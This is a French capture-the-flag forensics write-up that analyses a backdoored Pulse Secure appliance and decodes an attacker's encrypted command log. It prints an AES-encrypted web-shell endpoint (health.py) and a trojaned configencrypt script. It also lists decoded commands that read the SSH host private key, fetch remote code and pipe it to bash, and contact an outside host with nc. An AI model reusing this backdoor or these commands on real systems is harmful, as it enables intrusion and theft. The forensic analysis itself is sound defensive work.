Solution
On revient à l’archive chiffrée de la première étape et on regarde le fichier qui ne nous a pas encore servi.
$ tar xzvf temp-scanner-archive-20240315-065846.tgz
home/bin/configencrypt
home/venv3/lib/python3.6/site-packages/cav-0.1-py3.6.egg
Le premier script:
#!/usr/bin/env python
import os
import subprocess
import sys
if len(sys.argv) == 3 and os.path.basename(sys.argv[2]).startswith("pulsesecure-state-"):
with open("/data/flag.txt", "r") as handle:
flag = handle.read().replace("\n","")
flag = "FCSC{" + flag + "}"
infile = sys.argv[1]
outfile = sys.argv[2]
command = "zip -P "+flag+" "+outfile+" "+infile+" "+"/home/VERSION" + " /data/flag.txt"
os.system(command)
else:
subprocess.Popen(["/home/bin/configencrypt.bak"] + sys.argv[1:])
C’est le script qui a créé l’archive. Il est déclenché seulement sur une certaine valeur de paramètre, sinon c’est le script d’origine qui est appelé.
Le deuxième fichier est un .egg
, en fait une archive zip de scripts Python. On décompresse et on
cherche quelques patterns, et flag
matche sur le script health.py
:
#
# Copyright (c) 2018 by Pulse Secure, LLC. All rights reserved
#
import base64
import subprocess
import zlib
import simplejson as json
from Cryptodome.Cipher import AES
from Cryptodome.Util.Padding import pad, unpad
from flask import request
from flask_restful import Resource
class Health(Resource):
"""
Handles requests that are coming for client to post the application data.
"""
def get(self):
try:
with open("/data/flag.txt", "r") as handle:
dskey = handle.read().replace("\n", "")
data = request.args.get("cmd")
if data:
aes = AES.new(dskey.encode(), AES.MODE_ECB)
cmd = zlib.decompress(aes.decrypt(base64.b64decode(data)))
result = subprocess.getoutput(cmd)
if not isinstance(result, bytes): result = str(result).encode()
result = base64.b64encode(aes.encrypt(pad(zlib.compress(result), 32))).decode()
return result, 200
except Exception as e:
return str(e), 501
Un joli canal de communication chiffré ! Le script est déclenché par des appels à l’URL /api/v1/cav/client/health
.
On regarde les logs :
$ grep -r "health?cmd=" data/var/dlogs/cav_webserv.log
[pid: 22151|app: 0|req: 15645/24114] 172.18.0.4 () {32 vars in 557 bytes} [Fri Mar 15 06:36:24 2024] GET /api/v1/cav/client/health?cmd=DjrB3j2wy3YJHqXccjkWidUBniQPmhTkHeiA59kIzfA%3D => generated 47 bytes in 83 msecs (HTTP/1.1 200) 2 headers in 71 bytes (3 switches on core 998)
[pid: 22151|app: 0|req: 15957/24535] 172.18.0.4 () {32 vars in 557 bytes} [Fri Mar 15 06:36:27 2024] GET /api/v1/cav/client/health?cmd=K/a6JKeclFNFwnqrFW/6ENBiq0BnskUVoqBf4zn3vyQ%3D => generated 175 bytes in 74 msecs (HTTP/1.1 200) 2 headers in 72 bytes (3 switches on core 998)
[pid: 22151|app: 0|req: 16618/25571] 172.18.0.4 () {32 vars in 649 bytes} [Fri Mar 15 06:36:36 2024] GET /api/v1/cav/client/health?cmd=/ppF2z0iUCf0EHGFPBpFW6pWT4v/neJ6wP6dERUuBM/6CAV2hl/l4o7KqS7TvTZAWDVxqTd6EansrCTOAnAwdQ%3D%3D => generated 91 bytes in 74 msecs (HTTP/1.1 200) 2 headers in 71 bytes (3 switches on core 997)
[pid: 22150|app: 0|req: 9307/26659] 172.18.0.4 () {32 vars in 649 bytes} [Fri Mar 15 06:36:44 2024] GET /api/v1/cav/client/health?cmd=Lmrbj2rb7SmCkLLIeBfUxTA2pkFQex/RjqoV2WSBr0EyxihrKLvkqPKO3I7KV1bhm8Y61VzkIj3tyLKLgfCdlA%3D%3D => generated 1755 bytes in 80 msecs (HTTP/1.1 200) 2 headers in 73 bytes (3 switches on core 999)
[pid: 22150|app: 0|req: 9690/27957] 172.18.0.4 () {32 vars in 821 bytes} [Fri Mar 15 06:36:54 2024] GET /api/v1/cav/client/health?cmd=yPfHKFiBi6MxfKlndP99J4eco1zxfKUhriwlanMWKE3NhhHtYkSOrj4QZhvf6u17fJ%2B74TvmsMdtYH6pnvcNZOq3JRu2hdv2Za51x82UYXG1WpYtAgCa42dOx/deHzAlZNwM7VvCZckPLfDeBGZyLHX/XP4spz4lpfau9mZZ%2B/o%3D => generated 47 bytes in 479 msecs (HTTP/1.1 200) 2 headers in 71 bytes (3 switches on core 998)
[pid: 22151|app: 0|req: 19876/30291] 172.18.0.4 () {32 vars in 725 bytes} [Fri Mar 15 06:37:13 2024] GET /api/v1/cav/client/health?cmd=E1Wi18Bo5mPNTp/CaB5o018KdRfH2yOnexhwSEuxKWBx7%2Byv4YdHT3ASGAL67ozaoZeUzaId88ImfFvaPeSr6XtPvRqgrLJPl7oH2GHafzEPPplWHDPQQUfxsYQjkbhT => generated 47 bytes in 76 msecs (HTTP/1.1 200) 2 headers in 71 bytes (3 switches on core 997)
[pid: 22151|app: 0|req: 21170/32168] 172.18.0.4 () {32 vars in 825 bytes} [Fri Mar 15 06:37:28 2024] GET /api/v1/cav/client/health?cmd=7JPshdVsmVSiQWcRNKLjY1FkPBh91d2K3SUK7HrBcEJu/XbfMG9gY/pTNtVhfVS7RXpWHjLOtW01JKfmiX/hOJQ8QbfXl2htqcppn%2BXeiWHpCWr%2ByyabDservMnHxrocU4uIzWNXHef5VNVClGgV4JCjjI1lofHyrGtBD%2B0nZc8%3D => generated 47 bytes in 353 msecs (HTTP/1.1 200) 2 headers in 71 bytes (3 switches on core 997)
[pid: 22150|app: 0|req: 13730/40274] 172.18.0.4 () {32 vars in 653 bytes} [Fri Mar 15 06:37:41 2024] GET /api/v1/cav/client/health?cmd=WzAd4Ok8kSOF8e1eS6f8rdGE4sH5Ql8injexw36evBw/mHk617VRAtzEhjXwOZyR/tlQ20sgz%2BJxmwQdxnJwNg%3D%3D => generated 47 bytes in 53732 msecs (HTTP/1.1 200) 2 headers in 71 bytes (3 switches on core 997)
[pid: 22151|app: 0|req: 28123/42351] 172.18.0.4 () {32 vars in 557 bytes} [Fri Mar 15 06:38:51 2024] GET /api/v1/cav/client/health?cmd=G9QtDIGXyoCA6tZC6DtLz89k5FDdQNe2TfjZ18hdPbM%3D => generated 47 bytes in 73 msecs (HTTP/1.1 200) 2 headers in 71 bytes (3 switches on core 999)
[pid: 22151|app: 0|req: 29153/43658] 172.18.0.4 () {32 vars in 565 bytes} [Fri Mar 15 06:39:01 2024] GET /api/v1/cav/client/health?cmd=QV2ImqgrjrL7%2BtofpO12S9bqgDCRHYXGJwaOIihb%2BNI%3D => generated 91 bytes in 72 msecs (HTTP/1.1 200) 2 headers in 71 bytes (3 switches on core 999)
Effectivement, on trouve un dialogue. On a le script qui déchiffre, et on connaît la clef depuis l’étape 1. On scripte le décodage :
0: id
1: ls /
2: echo FCSC{6cd63919125687a10d32c4c8dd87a5d0c8815409}
3: cat /data/runtime/etc/ssh/ssh_host_rsa_key
4: /home/bin/curl -k -s https://api.github.com/repos/joke-finished/2e18773e7735910db0e1ad9fc2a100a4/commits?per_page=50 -o /tmp/a
5: cat /tmp/a | grep "name" | /pkg/uniq | cut -d ":" -f 2 | cut -d '"' -f 2 | tr -d '
' | grep -o . | tac | tr -d '
' > /tmp/b
6: a=`cat /tmp/b`;b=${a:4:32};c="https://api.github.com/gists/${b}";/home/bin/curl -k -s ${c} | grep 'raw_url' | cut -d '"' -f 4 > /tmp/c
7: c=`cat /tmp/c`;/home/bin/curl -k ${c} -s | bash
8: rm /tmp/a /tmp/b /tmp/c
9: nc 146.0.228.66:1337
Le flag est donc FCSC{6cd63919125687a10d32c4c8dd87a5d0c8815409}
.
Script de décodage
#!/usr/bin/env python3
from Crypto.Cipher import AES # python -m pip install pycryptodome
from base64 import b64decode
from Crypto.Util.Padding import unpad
from urllib.parse import unquote
import zlib
cmd = [
'DjrB3j2wy3YJHqXccjkWidUBniQPmhTkHeiA59kIzfA%3D',
'K/a6JKeclFNFwnqrFW/6ENBiq0BnskUVoqBf4zn3vyQ%3D',
'/ppF2z0iUCf0EHGFPBpFW6pWT4v/neJ6wP6dERUuBM/6CAV2hl/l4o7KqS7TvTZAWDVxqTd6EansrCTOAnAwdQ%3D%3D',
'Lmrbj2rb7SmCkLLIeBfUxTA2pkFQex/RjqoV2WSBr0EyxihrKLvkqPKO3I7KV1bhm8Y61VzkIj3tyLKLgfCdlA%3D%3D',
'yPfHKFiBi6MxfKlndP99J4eco1zxfKUhriwlanMWKE3NhhHtYkSOrj4QZhvf6u17fJ%2B74TvmsMdtYH6pnvcNZOq3JRu2hdv2Za51x82UYXG1WpYtAgCa42dOx/deHzAlZNwM7VvCZckPLfDeBGZyLHX/XP4spz4lpfau9mZZ%2B/o%3D',
'E1Wi18Bo5mPNTp/CaB5o018KdRfH2yOnexhwSEuxKWBx7%2Byv4YdHT3ASGAL67ozaoZeUzaId88ImfFvaPeSr6XtPvRqgrLJPl7oH2GHafzEPPplWHDPQQUfxsYQjkbhT',
'7JPshdVsmVSiQWcRNKLjY1FkPBh91d2K3SUK7HrBcEJu/XbfMG9gY/pTNtVhfVS7RXpWHjLOtW01JKfmiX/hOJQ8QbfXl2htqcppn%2BXeiWHpCWr%2ByyabDservMnHxrocU4uIzWNXHef5VNVClGgV4JCjjI1lofHyrGtBD%2B0nZc8%3D',
'WzAd4Ok8kSOF8e1eS6f8rdGE4sH5Ql8injexw36evBw/mHk617VRAtzEhjXwOZyR/tlQ20sgz%2BJxmwQdxnJwNg%3D%3D',
'G9QtDIGXyoCA6tZC6DtLz89k5FDdQNe2TfjZ18hdPbM%3D',
'QV2ImqgrjrL7%2BtofpO12S9bqgDCRHYXGJwaOIihb%2BNI%3D',
]
dskey = '50c53be3eece1dd551bebffe0dd5535c'
def decrypt(cmd):
aes = AES.new(dskey.encode(), AES.MODE_ECB)
cmd = unquote(cmd)
cmd = b64decode(cmd)
cmd = aes.decrypt(cmd)
cmd = unpad(cmd, 32)
cmd = zlib.decompress(cmd)
cmd = cmd.decode('utf-8')
return cmd
for i, c in enumerate(cmd):
print(f'{i}: {decrypt(c)}')